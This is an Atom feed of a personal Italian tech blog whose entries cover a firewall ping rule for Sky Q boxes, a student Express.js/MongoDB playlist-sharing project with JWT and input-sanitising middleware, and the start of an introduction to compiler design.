<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://mattiaperfumo.it/feed.xml" rel="self" type="application/atom+xml" /><link href="https://mattiaperfumo.it/" rel="alternate" type="text/html" /><updated>2025-11-03T17:17:55+00:00</updated><id>https://mattiaperfumo.it/feed.xml</id><title type="html">Perf’s blog</title><subtitle>Cybersecurity researcher and engineer. I share projects, research notes and CTF write-ups.</subtitle><author><name>Mattia Perfumo</name><email>mperf21@proton.me</email></author><entry><title type="html">Sky Q, Sky Q Mini e i firewall</title><link href="https://mattiaperfumo.it/sky-q-firewall/" rel="alternate" type="text/html" title="Sky Q, Sky Q Mini e i firewall" /><published>2024-03-28T16:00:58+00:00</published><updated>2024-03-28T16:00:58+00:00</updated><id>https://mattiaperfumo.it/sky-q-firewall</id><content type="html" xml:base="https://mattiaperfumo.it/sky-q-firewall/"><![CDATA[<p>Durante la configurazione del mio nuovo router, un <a href="https://www.amazon.it/dp/B07F7HDRKX">Mikrotik hEX S</a> con <a href="https://help.mikrotik.com/docs/display/ROS/RouterOS">routerOS</a>, mi sono imbattuto in un problema con la connessione di Sky Q e Sky Q Mini. Data la natura interessante del problema (che vale per qualsiasi router con firewall), ho deciso di scrivere un articolo per aiutare chiunque si trovi nella mia stessa situazione.</p>

<h2 id="il-problema">Il problema</h2>

<p>Una volta configurato il firewall, ho notato che Sky Q e Sky Q Mini non riuscivano a connettersi a internet: o meglio, si connetteva ma “faceva finta” di non avere connessione!</p>

<h3 id="come-lho-capito">Come l’ho capito?</h3>

<p>Andando nel menù principale ho potuto notare che in tutte le tab segnalava “Per utilizzare il servizio, il tuo Sky Q deve essere connesso a internet”.</p>

<p><img src="/assets/sky-q-non-connesso-rete-internet.png" alt="Sky Q - Connessione assente" /></p>

<p>Però, andando nelle impostazioni di rete, potevo vedere che il dispositivo era connesso alla rete locale e aveva un indirizzo IP assegnato.</p>

<p>Ciò è molto strano, perché se il dispositivo è connesso alla rete, dovrebbe essere in grado di connettersi a internet. Da qui l’idea: provare ad accedere alle App usando i comandi vocali. Ebbene, funzionava! Dicendo “<em>Hey Sky, apri Netflix</em>” o “<em>Hey Sky, apri YouTube</em>” il dispositivo apriva le App e funzionava correttamente. Riavviando il dispositivo, la connessione sembrava tornare a funzionare, ma dopo qualche secondo il problema si ripresentava.</p>

<h3 id="internet">Internet</h3>

<p>Cercando su internet, non ho trovato molto, tranne questo <a href="https://forum.fibra.click/d/33520-skyq-platinum-e-mikrotik">articolo</a> che mi ha aiutato a capire il problema.</p>

<p>Il problema è che Sky Q e Sky Q Mini utilizzano un sistema di controllo della connessione molto poco intelligente. In pratica, se non riescono a pingare il gateway, segnalano che non c’è connessione. Questo è un problema perché il router non risponde ai ping.</p>

<h2 id="soluzione">Soluzione</h2>

<p>Come soluzione, ho creato una regola di firewall per rispondere ai ping solo da Sky Q e Sky Q Mini.</p>

<p><img src="/assets/fw-sky-rule.png" alt="alt text" /></p>

<p>Grazie a questa regola, Sky Q e Sky Q Mini possono pingare il gateway e quindi segnalare correttamente la connessione.</p>]]></content><author><name>Perf</name></author><category term="networking" /><category term="ita" /><category term="networking" /><category term="firewall" /><category term="sky" /><category term="sky q" /><category term="sky q mini" /><category term="iptables" /><category term="ufw" /><category term="linux" /><category term="debian" /><category term="ubuntu" /><category term="raspbian" /><category term="raspberry pi" /><category term="raspberrypi" /><category term="connessione asente" /><category term="connessione" /><summary type="html"><![CDATA[Durante la configurazione del mio nuovo router, un Mikrotik hEX S con routerOS, mi sono imbattuto in un problema con la connessione di Sky Q e Sky Q Mini. Data la natura interessante del problema (che vale per qualsiasi router con firewall), ho deciso di scrivere un articolo per aiutare chiunque si trovi nella mia stessa situazione.]]></summary></entry><entry><title type="html">Mainstage: a Social Network for Music</title><link href="https://mattiaperfumo.it/mainstage-project/" rel="alternate" type="text/html" title="Mainstage: a Social Network for Music" /><published>2023-07-22T16:00:58+00:00</published><updated>2023-07-22T16:00:58+00:00</updated><id>https://mattiaperfumo.it/mainstage-project</id><content type="html" xml:base="https://mattiaperfumo.it/mainstage-project/"><![CDATA[<p>Questo progetto è stato sviluppato per un esame. Il source code verrà reso pubblico a conclusione del tempo disponibile alla consegna di tutti i progetti del corso. Di seguito una relazione dettagliata su tutti gli aspetti del servizio creato da me.</p>

<h2 id="social-network-for-music---mainstage">Social Network for Music - Mainstage</h2>

<p>Mainstage è un web service per la condivisone di playlist, sviluppato con Express.js.
La piattaforma offre funzionalità di ricerca di canzoni e playlist della piattaforma create dagli utenti, nonchè la creazione, gestione e organizzazione di playlist.</p>

<h2 id="core-functionalities">Core functionalities</h2>

<h3 id="gestione-utenti">Gestione Utenti</h3>

<p>Il servizio permette una gestione completa dell’utente: creazione, modifica e cancellazione dalla piattaforma. Di seguito tutte le informazioni del documento mongo della collezione users.</p>

<table>
  <thead>
    <tr>
      <th>Tabella: Users</th>
      <th>Descrizione</th>
      <th>index</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Object_id</td>
      <td>id univoco del documento</td>
      <td>✓</td>
    </tr>
    <tr>
      <td>name</td>
      <td>Nome dell’utente</td>
      <td> </td>
    </tr>
    <tr>
      <td>surname</td>
      <td>Cognome dell’utente</td>
      <td> </td>
    </tr>
    <tr>
      <td>nickname</td>
      <td>Nickname unico</td>
      <td>✓</td>
    </tr>
    <tr>
      <td>generiPreferiti</td>
      <td>Generi musicali preferiti dall’utente</td>
      <td> </td>
    </tr>
    <tr>
      <td>gruppiPreferiti</td>
      <td>Gruppi musicali preferiti dall’utente</td>
      <td> </td>
    </tr>
    <tr>
      <td>mail</td>
      <td>Indirizzo email dell’utente</td>
      <td>✓</td>
    </tr>
    <tr>
      <td>password</td>
      <td>Password dell’utente (hash)</td>
      <td> </td>
    </tr>
    <tr>
      <td>birthdate</td>
      <td>Data di nascita dell’utente</td>
      <td> </td>
    </tr>
    <tr>
      <td>playlistSeguite</td>
      <td>Playlist seguite dall’utente</td>
      <td> </td>
    </tr>
  </tbody>
</table>

<p><em>esempio di documento della collezione users, il nome dei parametri può variare</em></p>

<h3 id="endpoint-rest-relativi">endpoint REST relativi</h3>

<center>
<img src="/assets/mainstage/1.png" />
</center>
<p><em>screenshot dello swagger</em></p>

<h2 id="playlist">Playlist</h2>

<p>Le playlist sono la funzionalità principale del servizio. Le capacità sono affini alla logica degli utenti, quindi è possibile crearle, modificarle ed eliminarle. Vi è inoltre la possibilità di riordinare le canzoni in modo semplice e immediato.</p>

<h3 id="condivisione-tra-utenti">Condivisione tra utenti</h3>
<p>Il servizio permette la condivisione di playlist: in fase di creazione e modifica verrà chiesto all’utente se desidera rendere la playlist privata, ovvero visibile solo a lui, o pubblica, visibile a tutti gli utenti della piattaforma. Si ha anche la possibilità, tramite la homepage, di <strong>seguire</strong> una playlist, permettendo la visualizzazione rapida, tramite la pagina di playlist, di tutte le playlist seguite.</p>

<table>
  <thead>
    <tr>
      <th>Tabella: Playlist</th>
      <th>Descrizione</th>
      <th>index</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Object_id</td>
      <td>id univoco del documento</td>
      <td>✓</td>
    </tr>
    <tr>
      <td>name</td>
      <td>Nome della playlist</td>
      <td> </td>
    </tr>
    <tr>
      <td>descrizione</td>
      <td>Descrizione della playlist</td>
      <td> </td>
    </tr>
    <tr>
      <td>hashtags</td>
      <td>hashtag associati alla playlist</td>
      <td> </td>
    </tr>
    <tr>
      <td>visibility</td>
      <td>Visibilità della playlist (pubblica, privata, condivisa)</td>
      <td> </td>
    </tr>
    <tr>
      <td>img</td>
      <td>riferimento all’immagine associata alla playlist</td>
      <td> </td>
    </tr>
    <tr>
      <td>dataCreazione</td>
      <td>Data di creazione della playlist</td>
      <td> </td>
    </tr>
    <tr>
      <td>canzoni</td>
      <td>array di id_canzoni nella playlist</td>
      <td> </td>
    </tr>
    <tr>
      <td>user_id</td>
      <td>ID univoco dell’utente che ha creato la playlist</td>
      <td> </td>
    </tr>
  </tbody>
</table>

<p><em>esempio di documento della collezione users, il nome dei parametri può variare</em></p>

<h3 id="endpoint-rest-relativi-1">endpoint REST relativi</h3>

<center>
<img src="/assets/mainstage/2.png" />
</center>
<p><em>screenshot dello swagger</em></p>
<h2 id="songs">Songs</h2>

<p>Le canzoni, componente principale della piattaforma, non vengono direttamente salvate nel database, bensì ottenute in base al loro <strong>id</strong>.</p>

<center>
<img src="/assets/mainstage/3.png" />
</center>
<p><em>screenshot di un documento ‘playlist’</em></p>

<p>Le informazioni principali mostrate sono:</p>
<ul>
  <li>Titolo</li>
  <li>Artista/i</li>
  <li>Album</li>
  <li>Durata</li>
  <li>Copertina</li>
</ul>

<h2 id="architettura-del-servizio">Architettura del servizio</h2>
<center>
<img src="/assets/mainstage/4.png" />
</center>
<p><em>immagine esplicativa dell’architettura del servizio</em></p>

<h2 id="mongodb--spotify-api">MongoDB &amp; Spotify API</h2>

<p>Le basi di dati utilizzate sono due:</p>
<ul>
  <li><strong>MongoDB</strong>: database non relazionale in cui sono conservate le collezioni <strong>users</strong> e <strong>playlists</strong></li>
  <li><strong>Spotify API</strong>: API proprietarie che forniscono informazioni su brani, artisti e album mostrati in Mainstage</li>
</ul>

<h2 id="expressjs">Express.js</h2>

<p>Express.js è un web framework basato su Node.js che permette di realizzare in modo efficiente API.</p>

<h2 id="scelte-implementative--security">Scelte implementative &amp; Security</h2>

<p><strong>Di seguito i tool più rilevanti utilizzati per la realizzazione del servizio.</strong></p>

<h4 id="jwt">JWT</h4>
<p>I token JWT, JSON Web Token, sono dei token che permettono l’autenticazione di un’utente in modo <strong>immediato</strong> e <strong>sicuro</strong>.</p>

<center>
<img src="/assets/mainstage/5.png" />
</center>

<p><em>immagine esemplificativa sul funzionamento dei token JWT</em></p>
<h4 id="funzionamento">Funzionamento</h4>
<p>Il funzionamento dei token JWT si basa su tre componenti principali: l’intestazione (header), il payload (contenuto) e la firma (signature).</p>

<p>L’intestazione contiene informazioni sul tipo di token e l’algoritmo di firma utilizzato. Il payload contiene le informazioni specifiche dell’applicazione o i dati personalizzati che vengono trasmessi insieme al token, come l’identità dell’utente o le autorizzazioni. Entrambe le sezioni sono rappresentate come oggetti JSON e vengono codificate in Base64 per creare una stringa.</p>

<p>La firma viene utilizzata per verificare l’autenticità del token e proteggerne l’integrità. Viene calcolata utilizzando una chiave segreta con un algoritmo di firma specificato nell’intestazione. La firma viene aggiunta al token come terza parte separata da un punto.</p>

<center>
<img src="/assets/mainstage/6.png" />
</center>
<p><em>screenshot del sito jwt.io, utilizzato per analizzare in modo rapido token</em></p>

<p>Quando un client invia una richiesta a un server, include il token JWT nell’intestazione dell’autorizzazione o in un altro campo appropriato. Il server riceve il token e verifica la sua validità. La verifica coinvolge la decodifica del token, il controllo dell’intestazione e della firma e, se necessario, la verifica delle informazioni nel payload.</p>

<pre><code class="language-javascript=">client=req.cookies.token
  try {
    jwt.verify(client,process.env.JWT_SECRET) 
  } catch (error) {
    console.log("err "+error)
    res.status(401).send({"code":401, "message":"JWT error"})
    return
  }
</code></pre>
<p><em>snippet di codice di Mainstage utilizzato per la verifica del token</em></p>

<hr />

<h4 id="mongosanitize">MongoSanitize</h4>

<p><a href="https://www.npmjs.com/package/express-mongo-sanitize">mongoSanitize</a> è un middleware node scaricabile che permette l’individuazione e rimozione di eventuali tentativi di <em>noSQL injection</em>.</p>

<center>
<img src="/assets/mainstage/7.png" />
</center>
<p><em>esempio di richiesta con possibile noSQL injection</em></p>
<center>
<img src="/assets/mainstage/8.png" />
</center>
<p><em>input sanitized da Mongosanitize</em></p>

<hr />

<h4 id="validator">Validator</h4>
<p><a href="https://www.npmjs.com/package/validator">validator</a> è un middleware node scaricabile che permette di verificare la conformità di vari dati secondo uno <strong>standard</strong></p>

<pre><code class="language-javascript=">if(!validator.isEmail(user.mail)){
    response['message']='invalid email'
    
  }
</code></pre>
<p><em>snippet di codice con utilizzo di validator</em></p>

<hr />

<h4 id="multer">Multer</h4>
<p><a href="https://www.npmjs.com/package/multer">Multer</a> è un middleware node scaricabile che permette l’upload di file.</p>
<ul>
  <li><strong>plus</strong>: facile implementazione di upload di immagini per le copertine delle playlist.</li>
  <li><strong>malus</strong>: con docker, il path uploads non è persistente. Ciò significa che quando il container viene eliminato, di conseguenza lo saranno pure le immagini.</li>
</ul>

<center>
<img src="/assets/mainstage/9.png" />
</center>
<p><em>folder uploads con immagini caricate</em></p>

<hr />

<h4 id="dotenv">Dotenv</h4>
<p><a href="https://www.npmjs.com/package/dotenv">dotenv</a> è un modulo node che permette l’implementazione delle variabili salvate nel file <code class="language-plaintext highlighter-rouge">.env</code>. In Mainstage viene implementato in <strong>due modi</strong>:</p>

<ul>
  <li><strong>in locale</strong>: con l’utilizzo del file</li>
</ul>

<pre><code class="language-js="># THESE ARE FOR LOCAL SETTINGS, FOR DOCKER REFER TO DOCKER-COMPOSE
PORT="3300"
CLIENT_ID="xxx"
SECRET="xxx"
TOKEN_URL="https://accounts.spotify.com/api/token"
MONGO_URL="xxx"
JWT_SECRET="xxx"

</code></pre>
<p><em>esempio di file .env</em></p>

<ul>
  <li><strong>con docker</strong>: implementando le variabili nel <code class="language-plaintext highlighter-rouge">docker-compose.yaml</code></li>
</ul>

<pre><code class="language-dockerfile=">env_file: ./mainstage-app/.env
    environment:
      - MONGO_URL=xxx
      - CLIENT_ID=xxx
      - SECRET=xxx
      - TOKEN_URL=https://accounts.spotify.com/api/token
      - PORT=3300
      - JWT_SECRET=xxx


</code></pre>
<p><em>snippet del file docker-compose.yaml</em></p>

<hr />
<h4 id="swagger-ui--autogen">Swagger-ui &amp; autogen</h4>

<p><a href="https://www.npmjs.com/package/swagger-ui-express">swagger-UI</a> e <a href="https://www.npmjs.com/package/swagger-autogen">autogen</a> sono moduli node che permettono la realizzazione dello <strong>swagger</strong>.</p>
<blockquote>
  <p>Swagger è un insieme di strumenti open-source che facilitano la progettazione, la creazione, la documentazione e il consumo di servizi web basati su API (Application Programming Interface). Fornisce un modo standardizzato per descrivere le API RESTful, inclusi gli endpoint, i parametri, i tipi di dati, le risposte e altre informazioni pertinenti.</p>
</blockquote>

<center>
<img src="/assets/mainstage/10.png" />
</center>
<p><em>parte dello swagger di mainstage, accessibile a /api-docs</em></p>

<h2 id="front-end">Front-end</h2>

<p>Di seguito tutte le scelte implementative lato Front-end.</p>

<h4 id="bootstrap">Bootstrap</h4>
<p>Bootstrap è un framework front-end open-source molto popolare per lo sviluppo di siti web e applicazioni web responsive. Componente principale di Mainstage e del suo stile.</p>

<h4 id="mainstage-design">Mainstage Design</h4>

<p>Mainstage segue un design minimalista, pulito e facilmente comprensibile.</p>

<center>
<img src="/assets/mainstage/11.png" />
</center>
<p><em>screenshot della pagina di login di Mainstage</em></p>

<h4 id="core-project-quests">Core project quests</h4>

<p>Di seguito le <strong>quest</strong> richieste per la realizzazione del progetto</p>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" checked="checked" />Registrazione e login al sito</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" checked="checked" />Gestione dati utente</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" checked="checked" />Aggiunta/modifica/Cancellazione playlist pubbliche e private</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" checked="checked" />visualizzazione informazioni playlist, brani e utenti</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" checked="checked" />ricerca e visualizzazione brani</li>
</ul>

<h4 id="registrazione-e-login-a-mainstage">Registrazione e Login a Mainstage</h4>

<center>
<img src="/assets/mainstage/12.png" />
</center>
<p><em>pagina di registazione di Mainstage</em></p>

<p>La registazione e il login al sito vengono effettuate a <strong>/login</strong>, con un bottone che permette lo switch tramite javascript per la selezione di login e signup.</p>

<h4 id="endpoint-rest-implementati">Endpoint REST implementati</h4>

<ul>
  <li>per <strong>login</strong>: Viene implementato l’endpoint POST <code class="language-plaintext highlighter-rouge">/login</code> che, oltre al verificare la correttezza sintattica delle informazioni, verifica che l’utente esista e che <em>email</em> e <em>password</em> coincidano.</li>
  <li>per <strong>signup</strong>: Vengono implementati diversi endpoint:
    <ul>
      <li><strong>/getGenres</strong>, endpoint GET per ottenere da spotify i generi da selezionare come preferiti.</li>
      <li><strong>/getArtists/{name}</strong>: endpoint GET per ottenere da spotify un’artista in base alla query effettuata nella searchbar per selezionare gli artisti preferiti.</li>
      <li><strong>/signup</strong>, endpoint POST che permette la verifica sintattica delle informazioni inserite, che il <em>nickname</em> o la <em>mail</em> non siano già presenti e, infine, l’inserimento dell’utente nel database.</li>
    </ul>
  </li>
</ul>

<h4 id="extra">Extra</h4>
<p>Particolare lavoro è stato fatto per la realizzazione della selezione degli artisti preferiti. Permette di cercare e scegliere tutti gli artisti presenti su spotify e, grazie al pratico menu dropdown, si ha la possibilità di selezionare, deselezionare e vedere gli artisti scelti.</p>

<center>
<img src="/assets/mainstage/13.png" />
</center>
<p><em>screenshot esemplificativo</em></p>

<h4 id="gestione-dati-utente">Gestione dati utente</h4>

<center>
<img src="/assets/mainstage/14.png" />
</center>
<p><em>pagina di gestione utente</em></p>

<p>I dati dell’utente, inseriti in fase di signup, sono modificabili interamente nella pagina <code class="language-plaintext highlighter-rouge">/profile</code>. Inoltre si ha la possibilità di eseguire logout e l’eliminazione del profilo che, oltre che a cancellare l’utente, cacellerà tutte le playlist create e eliminerà a tutti gli utenti riferimenti a tali playlist se seguite.</p>

<pre><code class="language-javascript=">//delete user
    var dbUser= await pwmClient.db("pwm").collection('users').deleteOne({"nick" : userJWT.username})
    //delete followed playlist
    //find plist id
    arrayFollowed=await pwmClient.db("pwm").collection('playlists').find({"user_id" : findUser._id},{ projection: {_id: 1 } }).toArray()
    arrayNoObj=[]
    console.log(arrayFollowed)
    //stringify id
    arrayFollowed.forEach(element =&gt; {
      arrayNoObj.push(element._id.toString())
    });
    console.log(arrayNoObj)
    //delete references 
    deleteFollowed = await pwmClient.db("pwm").collection('users').updateMany({"followed": {$in : arrayNoObj}}, {$pull : {"followed" :  {$in : arrayNoObj}}} )
    //delete playlist linked to user
    deletePlaylist=  await pwmClient.db("pwm").collection('playlists').deleteMany({"user_id" : findUser._id})
</code></pre>
<p><em>NB: non tutto il codice di eliminazione presente, solo uno snippet</em></p>

<h4 id="endpoint-rest-implementati-1">Endpoint REST implementati</h4>

<p>Oltre che ai sopracitati <strong>/getGenres</strong> e <strong>/getArtists/{name}</strong>, per la modifica delle preferenze di artisti e generi, abbiamo:</p>

<ul>
  <li><strong>/logout</strong>: il token jwt viene revocato, l’utente sarà reindirizzato al login.</li>
  <li><strong>/user</strong>: richiesta con metodo DELETE, permette la cancellazione totale dell’utente (come spiegato prima).</li>
  <li><strong>/user</strong>: richiesta con metodo GET, permette di ottenere le informazioni presenti nel db dell’utente.</li>
  <li><strong>/user</strong>: richiesta con metodo PUT, permette la modifica di tutte le informazioni dell’utente, anche mail, nickname e password che sono indici univoci.</li>
</ul>

<p>screenshot dello swagger con gli endpoint utente mostrato <a href="#endpoint-REST-relativi">in precedenza</a></p>

<h4 id="aggiuntamodificacancellazione-playlist-pubbliche-e-private">Aggiunta/modifica/Cancellazione playlist pubbliche e private</h4>

<center>
<img src="/assets/mainstage/15.png" />
</center>
<p><em>screenshot della pagina playlist</em></p>

<p>Alla pagina <code class="language-plaintext highlighter-rouge">/playlist</code> possiamo eseguire una prima parte delle operazioni riguardanti alle playlist, core feature del servizio. Si possono visualizzare le proprie playlist pubbliche, private e quelle seguite, realizzate dagli altri utenti della piattaforma. Con l’apposito tasto è possibile aprire un menu che permette l’inserimento dei dati di una nuova playlist. Si è scelto di rendere la copertina della playlist caricabile dall’utente per renderle personalizzabili in ogni loro punto.</p>

<center>
<img src="/assets/mainstage/16.png" />
</center>
<p><em>screenshot menù creazione di playlist</em></p>

<h4 id="endpoint-rest-implementati-2">Endpoint REST implementati</h4>

<ul>
  <li><strong>/playlist</strong>: richiesta con metodo POST per la creazione delle playlist. Vengono usati i <code class="language-plaintext highlighter-rouge">multipart/form-data</code>come richiesto da <a href="#Multer">multer</a>.</li>
  <li><strong>/playlist-yours</strong>: endpoint GET per ottenere i dati delle proprie playlist mostrate.</li>
  <li><strong>/playlist-followed</strong>: endpoint GET per ottenere i dati delle playlist seguite.</li>
</ul>

<h4 id="extra-1">Extra</h4>
<p>Il tasto di creazione delle playlist è stato disegnato e successivamente sviluppato tramite il programma photoshop.</p>
<center>
<img src="/assets/mainstage/17.png" />
</center>
<p><em>sketch vs risultato finale</em></p>

<h3 id="visualizzazione-informazioni-playlist-brani-e-utenti">Visualizzazione informazioni playlist, brani e utenti</h3>
<p>Vediamo ora la pagina di una playlist, situata a <code class="language-plaintext highlighter-rouge">/playlistPage?p={playlist_id}</code>.</p>
<center>
<img src="/assets/mainstage/18.png" />
</center>
<p><em>pagina di playlist</em></p>

<p>Qui possiamo trovare tutte le funzioni rimanenti per le playlist, che sono disponibili in base a se si è proprietari o no, ovvero:</p>
<ul>
  <li><strong>per i proprietari di playlist:</strong>
    <ul>
      <li>modifica</li>
      <li>visualizzazione</li>
      <li>cancellazione della playlist</li>
      <li>riordine</li>
      <li>cancellazione dei singoli brani</li>
    </ul>
  </li>
  <li><strong>per gli altri utenti</strong>:
    <ul>
      <li>visualizzazione</li>
      <li>possibilità di seguire la playlist</li>
    </ul>
  </li>
</ul>

<h4 id="endpoint-rest-implementati-3">Endpoint REST implementati</h4>
<p>È già stato <a href="#endpoint-REST-relativi1">precedentemente mostrato</a> lo swagger relativo, in breve, il funzionamento:</p>

<ul>
  <li><strong>/verified/{id}</strong> per verificare che l’utente sia il proprietario della playlist e, nel caso sia privata e non proprietaria, l’invio di un errore.</li>
  <li><strong>/playlist-song</strong>: con metodo GET per ottenere le canzoni della playlist,</li>
  <li>se lo è:
    <ul>
      <li><strong>/playlist</strong>: con i metodi PATCH e DELETE, rispettivamente per riordinare i brani e cancellare la playlist.</li>
      <li><strong>/playlist-song</strong>: con metodo DELETE che permette l’eliminazione dei singoli brani.</li>
      <li><strong>/playlist-info</strong>: con metodo PUT, permette di modificare i dati della playlist.</li>
    </ul>
  </li>
  <li>se <strong>non</strong> lo è:
    <ul>
      <li><strong>/isfollowed/{id}</strong>: con metodo GET, verifica se l’utente segue la playlist</li>
      <li><strong>/follow-playlist</strong>: con metodo POST, permette di seguire un playlist.</li>
      <li><strong>/unfollow-playlist</strong>: con metodo POST, permette di smettere di seguire un playlist.</li>
    </ul>
  </li>
</ul>

<h1 id="extra-2">Extra</h1>

<p>La funzione di <strong>riordine</strong> delle canzoni all’interno della playlist è implementato tramite una libreria esterna chiamata <a href="https://github.com/SortableJS/Sortable">sortable.js</a>. Permette facilmente di implementare un ordinamento <em>drag and drop</em> intuitivo.</p>

<center>
<img src="/assets/mainstage/19.png" />
</center>
<p><em>screenshot durante il riordine delle canzoni</em></p>

<h3 id="ricerca-e-visualizzazione-brani">Ricerca e visualizzazione brani</h3>

<p>La ricerca e la visualizzazione dei brani può essere effettuata tramite la pagina <code class="language-plaintext highlighter-rouge">/search</code>.</p>
<center>
<img src="/assets/mainstage/20.png" />
</center>

<p>In questa pagina è possibile <strong>cercare</strong> qualsiasi brano presente su spotify e le playlist su Mainstage. Si ha la possibilità di cercare in base a:
<strong>brani:</strong></p>
<ul>
  <li>titolo canzone</li>
  <li>artista</li>
  <li>genere</li>
  <li>anno</li>
</ul>

<p><strong>mentre per le playlist:</strong></p>
<ul>
  <li>nome playlist</li>
  <li>hashtags</li>
  <li>brani all’interno</li>
</ul>

<blockquote>
  <p>Vi è data particolare attenzione agli <strong>edge cases</strong> di combinazioni possibili, rendendolo robusto e affidabile.</p>
</blockquote>

<h4 id="endpoint-rest-implementati-4">Endpoint REST implementati</h4>

<p>L’endpoint principale utilizzato è <code class="language-plaintext highlighter-rouge">/search</code>, metodo POST che permette di eseguire la ricerca sia per i brani che per le playlist. Viene poi usato l’endpoint <code class="language-plaintext highlighter-rouge">/playlist</code> con metodo PUT, che permette l’aggiunta dei brani alle proprie playlist.</p>

<h3 id="homepage---extra">Homepage - Extra</h3>
<center>
<img src="/assets/mainstage/21.png" />
</center>
<p><em>screenshot della homepage</em></p>

<p>Una volta effettuato l’accesso a Mainstage, la homepage accoglierà l’utente con una selezione di brani da spotify e le playlist pubbliche create dagli utenti della piattaforma. Da desktop, come nelle pagine search e playlists, si hanno a disposizione dei controlli (previous e next) che permettono lo scorrimento orizzontale degli elementi. Vengono utilizzati i due endpoint <code class="language-plaintext highlighter-rouge">/topFifty</code>e <code class="language-plaintext highlighter-rouge">/playlist-public</code> che servono rispettivamente ad ottenere i brani top 50 global e ottenere le playlist pubbliche.</p>

<h2 id="responsiveness---mobile-view">Responsiveness - Mobile view</h2>

<p>Particolare attenzione è stata data alla versione mobile, adattata alle esigenze dello schermo di dimensioni ridotte e dell’input <strong>touch</strong>. L’esempio più rilevante è la visualizzazione dei brani nella homepage e delle playlist in tutta la piattaforma, adattate con uno scorrimento touch che sostituiscono i comani <em>previous</em> e <em>next</em> usati sul desktop.</p>

<center>
<img src="/assets/mainstage/22.jpeg" />
</center>
<center>
<img src="/assets/mainstage/23.jpeg" />
</center>

<h2 id="virtualizzazione--server">Virtualizzazione &amp; server</h2>

<p>Il servizio è stato virtualizzato tramite docker, tramite il file <code class="language-plaintext highlighter-rouge">docker-compose.yaml</code>verranno generati due container: mongodb_snm e snm-mainstage_app.</p>
<center>
<img src="/assets/mainstage/24.png" />
</center>
<p><em>screenshot dei container running sul server</em></p>

<h3 id="architettura-del-servizio-1">Architettura del servizio</h3>

<p>Il servizio è reso disponibile dal mio server personale, tramite una <em>virtual machine</em>  utilizzando l’OS <a href="https://unraid.net/">unraid</a>. Sulla repository di <a href="https://github.com/mperf/SNM-mainstage">github</a> si possono trovare le istruzioni su come avviare i container sul proprio server. tramite un Dynamic Domain Name System (DDNS) associo il mio ip ad un dominio intermedio, che verrà a sua volta associato tramite <a href="https://cloudflare.com">cloudflare</a> al mio personale dominio: mainstage.mattiaperfumo.it</p>

<center>
<img src="/assets/mainstage/25.png" />
</center>

<h2 id="link-utili">link utili</h2>

<ul>
  <li><a href="http://mainstage.mattiaperfumo.it">live test del sito</a></li>
  <li><a href="http://github.com/mperf/SNM-Mainstage">repo github</a></li>
</ul>]]></content><author><name>Perf</name></author><category term="projects" /><category term="ita" /><category term="bootstrap" /><category term="mainstage" /><category term="SNM" /><category term="website" /><category term="coding" /><category term="unimi" /><category term="Statale di Milano" /><summary type="html"><![CDATA[Questo progetto è stato sviluppato per un esame. Il source code verrà reso pubblico a conclusione del tempo disponibile alla consegna di tutti i progetti del corso. Di seguito una relazione dettagliata su tutti gli aspetti del servizio creato da me.]]></summary></entry><entry><title type="html">Introduzione al compiler design: compilatore per LC-2</title><link href="https://mattiaperfumo.it/compiler-design/" rel="alternate" type="text/html" title="Introduzione al compiler design: compilatore per LC-2" /><published>2023-03-14T10:00:58+00:00</published><updated>2023-03-14T10:00:58+00:00</updated><id>https://mattiaperfumo.it/compiler-design</id><content type="html" xml:base="https://mattiaperfumo.it/compiler-design/"><![CDATA[<p>Il compilatore è un software che permette di <strong>tradurre</strong> un codice scritto in <strong>HLL</strong> (High Level Language) in <strong>linguaggio macchina</strong>. Consente l’effettiva esecuzione dei programmi da parte del calcolatore.
Ma come funziona? Di seguito illustrerò da cosa è composto (per il linguaggio C) e il suo funzionamento, esponendo inoltre un mio <a href="https://github.com/mperf/LC-2-simulator">progetto</a> di simulatore di assembly LC-2 (Little Computer 2).</p>

<h2 id="premesse">Premesse</h2>

<p>Ho deciso di approfondire il mondo dei compilatori dopo aver frequentato il corso di programmazione all’università, nell’ambito del quale è stata richiesta la realizzazione di un progetto. Mi ha molto colpito la tematica dei linguaggi formali e ho, dunque, deciso di realizzare un compilatore. L’idea, in realtà, si è consolidata grazie ad un altro corso, “Architettura degli Elaboratori”, nel quale viene approfondita la struttura dei calcolatori e il loro funzionamento. Tale insegnamento utilizza, come esempio di linguaggio assembler e struttura della CPU, l’architettura LC-2: tuttavia, l’ambiente di sviluppo utilizzato nell’ambito del laboratorio consiste in un software di simulazione disponibile esclusivamente su Windows. Da qui, l’idea di sviluppare un compilatore per LC-2 per piattaforme Linux e MacOS.</p>

<p>Ringrazio il Prof. <a href="https://anisetti.di.unimi.it/">Marco Anisetti</a> per avermi fornito materiale aggiuntivo al corso relativo a questa tematica: alcune informazioni e immagini sono ricavate da tale materiale.</p>

<h2 id="i-traduttori">I Traduttori</h2>

<p>La fase di <strong>traduzione</strong> di un linguaggio di alto livello ad un codice comprensibile per un calcolatore (linguaggio macchina) viene eseguita da un <strong>traduttore di linguaggio</strong>. Esistono <strong>due tipi</strong> di traduttori:</p>

<ul>
  <li>il <strong>Compilatore</strong></li>
  <li>l’<strong>Interprete</strong></li>
</ul>

<center>
<img src="/assets/traduttore.png" />
</center>

<h3 id="il-compilatore">Il compilatore</h3>

<p>Programma che <strong>traduce</strong> un programma scritto in un linguaggio ad alto livello in un programma equivalente in linguaggio macchina (verrà descritto nel dettaglio in seguito). Il linguaggio di programmazione C è un esempio di linguaggio compilato.</p>

<h3 id="interprete">Interprete</h3>

<p>Programma che <strong>simula</strong> l’esecuzione del codice riga per riga, sfruttando direttamente il <strong>codice sorgente</strong>.
Ciò avviene in tre passaggi, alcuni dei quali in comune con un compilatore:</p>

<ol>
  <li>verifica della correttezza sintattica</li>
  <li>traduzione</li>
  <li>esecuzione del codice tradotto</li>
</ol>

